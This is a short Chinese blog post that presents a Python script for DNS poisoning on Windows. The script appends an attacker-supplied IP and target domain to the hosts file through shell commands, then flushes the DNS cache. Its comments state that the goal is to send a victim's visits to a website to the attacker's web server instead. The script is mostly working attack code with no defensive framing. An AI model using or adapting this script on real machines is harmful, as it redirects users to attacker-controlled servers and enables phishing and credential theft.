通过修改hosts文件实现DNS毒化的代码

  本代码主要利用到subprocess模块,由于需要修改hosts文件,因此需要管理员权限执行该代码,否则执行失败。

 1 import subprocess
 2 import os
 3 import optparse
 4 import sys
 5 
 6 
 7 class DNSPoisoner:
 8     def __init__(self) -> None:
 9         self.target = self.get_params()[0]     #攻击者的IP,运行有web服务,将受害者访问某网站时毒化访问攻击者的web服务
10         self.domain = self.get_params()[1]     #要毒化的域名
11 
12     
13     def get_params(self):
14         parser = optparse.OptionParser("Usage: <Program> -t attacker's IP -d domain name")
15         parser.add_option('-t', '--target', dest='target', type='string', help='Specify attacker IP address')
16         parser.add_option('-d', '--domain', dest='domain', type='string', help='Specify domain name to attack')
17         options, args = parser.parse_args()
18         if options.target is None or options.domain is None:
19             print(parser.usage)
20             sys.exit(0)
21         return options.target, options.domain
22     
23 
24     def run(self):
25         try:
26             os.chdir('C:\Windows\System32\drivers\etc')     #需要首先切换到hosts所在目录
27             command = 'echo %s %s >> hosts' % (self.target, self.domain)    #以追加方式,将攻击者的IP以及目标域名写入hosts文件,实现毒化的目的
28             subprocess.call(command, shell=True)
29             command = 'ipconfig /flushdns'                 #需要刷新一下DNS
30             subprocess.call(command, shell=True)
31         except Exception as e:
32             print(e)
33             sys.exit(0)
34 
35 
36 
37 if __name__ == "__main__":
38     dnspoisoner = DNSPoisoner()
39     dnspoisoner.run()

 

posted @ 2022-05-09 16:50  Jason_huawen  阅读(88)  评论(0编辑  收藏  举报